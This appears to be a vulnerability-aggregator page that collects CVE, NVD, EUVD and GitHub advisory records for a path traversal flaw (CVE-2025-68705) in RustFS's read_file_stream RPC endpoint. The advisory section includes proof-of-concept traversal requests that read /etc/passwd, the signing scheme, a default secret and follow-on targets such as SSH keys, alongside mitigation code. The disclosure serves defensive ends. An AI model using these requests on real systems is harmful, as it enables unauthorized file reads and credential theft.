Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 7/9 advisories · checked 00:29 UTC Customize Public modeDiscuss ChangeIntel on Discord

RustFS Path Traversal Vulnerability

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2025-68705

Published

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

Source published
7 Jan 2026 20:31:44 UTC
Source modified
7 Jan 2026 21:28:30 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

euvd · EUVD-2026-1162

Published

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jan 7, 2026, 8:31:44 PM

dateUpdated: Jan 7, 2026, 9:28:30 PM

Source published
Jan 7, 2026, 8:31:44 PM (timezone not stated)
Source modified
Jan 7, 2026, 9:28:30 PM (timezone not stated)
Observed here
9 Nov 2026 04:11:31 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

nvd · CVE-2025-68705

Published

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/read_file_stream endpoint. This issue has been patched in version 1.0.0-alpha.79.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-01-07T21:15:59.383

lastModified: 2026-10-14T19:10:00.297

66 source CPE criteria · context only
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha13:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha14:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha15:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha16:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha17:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha18:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha19:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha20:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha21:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha22:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha23:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha24:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha25:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha26:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha27:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha28:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha29:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha30:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha31:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha32:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha33:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha34:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha35:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha36:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha37:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha38:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha39:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha40:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha41:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha42:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha43:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha44:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha45:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha46:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha47:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha48:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha49:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha50:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha51:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha52:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha53:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha54:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha55:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha56:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha57:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha58:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha59:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha60:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha61:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha62:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha63:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha64:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha65:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha66:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha67:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha68:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha69:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha70:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha71:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha72:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha73:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha74:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha75:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha76:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha77:*:*:*:rust:*:*
  • cpe:2.3:a:rustfs:rustfs:1.0.0:alpha78:*:*:*:rust:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
7 Jan 2026 21:15:59 UTC
Source modified
14 Oct 2026 19:10:00 UTC
Observed here
25 Oct 2026 04:17:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-pq29-69jg-9mxc

Published

# RustFS Path Traversal Vulnerability ## Vulnerability Details - **CVE ID**: - **Severity**: Critical (CVSS estimated 9.9) - **Impact**: Arbitrary File Read/Write - **Component**: `/rustfs/rpc/read_file_stream` endpoint - **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791` ### Vulnerable Code ```rust // local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?; ``` The code uses `PathBuf::join()` without: - Canonicalization - Path boundary validation - Protection against `../` sequences - Protection against absolute paths ## Proof of Concept ### Test Environment - **Target**: RustFS v0.0.5 (Docker container) - **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream` - **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY) - **Disk ID**: `/data/rustfs0` - **Volume**: `.rustfs.sys` ### Attack Scenario #### Exploit Parameters ``` disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size ``` #### Required Authentication RPC requests require HMAC-SHA256 signature: ```python # Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp ``` ### Successful Exploits #### 1. Read `/etc/passwd` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin ``` **Impact**: Full user account enumeration --- #### 2. Read `/etc/hosts` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2 ``` **Impact**: Network configuration disclosure --- #### 3. Read `/etc/hostname` ✅ **Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13 ``` **Response:** HTTP 200 OK **Content Retrieved:** ``` d25e05a19bd2 ``` **Impact**: System information disclosure --- ## Technical Analysis ### Data Flow ``` 1. HTTP Request ↓ 2. RPC Signature Verification (verify_rpc_signature) ↓ 3. Find Disk (find_local_disk) ↓ 4. Read File Stream (disk.read_file_stream) ↓ 5. VULNERABLE: volume_dir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd ``` ### Path Traversal Mechanism ```rust // Example traversal: volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd" // PathBuf::join() resolves to: file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped! ``` ### Why It Works 1. **No Canonicalization**: Code doesn't use `canonicalize()` before validation 2. **No Boundary Check**: No verification that final path is within volume_dir 3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences 4. **Length-Only Validation**: `check_path_length()` only checks string length ### Special Considerations - **File Size Constraint**: The `length` parameter must exactly match file size - Code validates: `file.len() >= offset + length` - Otherwise returns `DiskError::FileCorrupt` - **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`) - **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP` ## Impact Assessment ### Confidentiality Impact: HIGH - ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`) - ⚠️ Potential to read: - SSH keys (`/root/.ssh/id_rsa`) - Application secrets - RustFS configuration files - Environment variables from `/proc` ### Integrity Impact: HIGH - ⚠️ Similar vulnerability exists in `put_file_stream` (not tested) - ⚠️ Arbitrary file write likely possible - ⚠️ Could write to: - Cron jobs - authorized_keys - System binaries (if permissions allow) ### Availability Impact: MEDIUM - ⚠️ `walk_dir` endpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal ## Exploitation Requirements ### Prerequisites 1. **Network Access**: Ability to reach RustFS RPC endpoints 2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY - Default: `"rustfs-default-secret"` - Production: From environment variable or config 3. **Disk/Volume Knowledge**: Valid disk ID and volume name 4. **File Size Knowledge**: Exact file sizes for successful reads ### Attack Complexity - **Without Secret**: Impossible (signature verification) - **With Secret**: Trivial (automated script) - **With Default Secret**: Critical risk if not changed ## Mitigation Recommendations ### Immediate Actions (Priority 0) 1. **Path Canonicalization** ```rust async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volume_dir = self.get_bucket_path(volume)?; // CRITICAL FIX: let file_path = volume_dir.join(Path::new(&path)); let canonical = file_path.canonicalize() .map_err(|_| DiskError::FileNotFound)?; // Validate path is within volume_dir if !canonical.starts_with(&volume_dir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); } // Continue with validated path... } ``` 2. **Path Component Validation** ```rust // Reject dangerous path components if path.contains("..") || path.starts_with('/') { return Err(DiskError::InvalidArgument); } ``` 3. **Use path-clean Crate** ```rust use path_clean::PathClean; let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains("..") { return Err(DiskError::InvalidArgument); } ``` ### Additional Security Measures 4. **Audit Logging**: Log all RPC file operations with full paths 5. **Rate Limiting**: Prevent DoS via repeated RPC calls 6. **Secret Rotation**: Ensure unique RPC secrets per deployment 7. **Network Segmentation**: Restrict RPC endpoint access 8. **Security Testing**: Add path traversal tests to test suite ### Long-term Improvements 9. **Chroot Jail**: Isolate RPC operations in chroot environment 10. **Least Privilege**: Run RustFS with minimal file system permissions 11. **Security Audit**: Comprehensive review of all file operations ## Proof of Concept Script The complete PoC is available at: `exploit_path_traversal.py` ### Usage ```bash # Ensure RustFS is running docker compose ps # Run exploit python3 exploit_path_traversal.py ``` ### Output ``` [+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================ ``` ## Acknowledgements RustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability. Acknowledgements: RustFS would like to thank @realansgar and **bilisheep** from the **Xmirror Security Team** for providing the security report.

Source published
7 Jan 2026 18:15:29 UTC
Source modified
3 Feb 2026 03:16:19 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 00:29 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current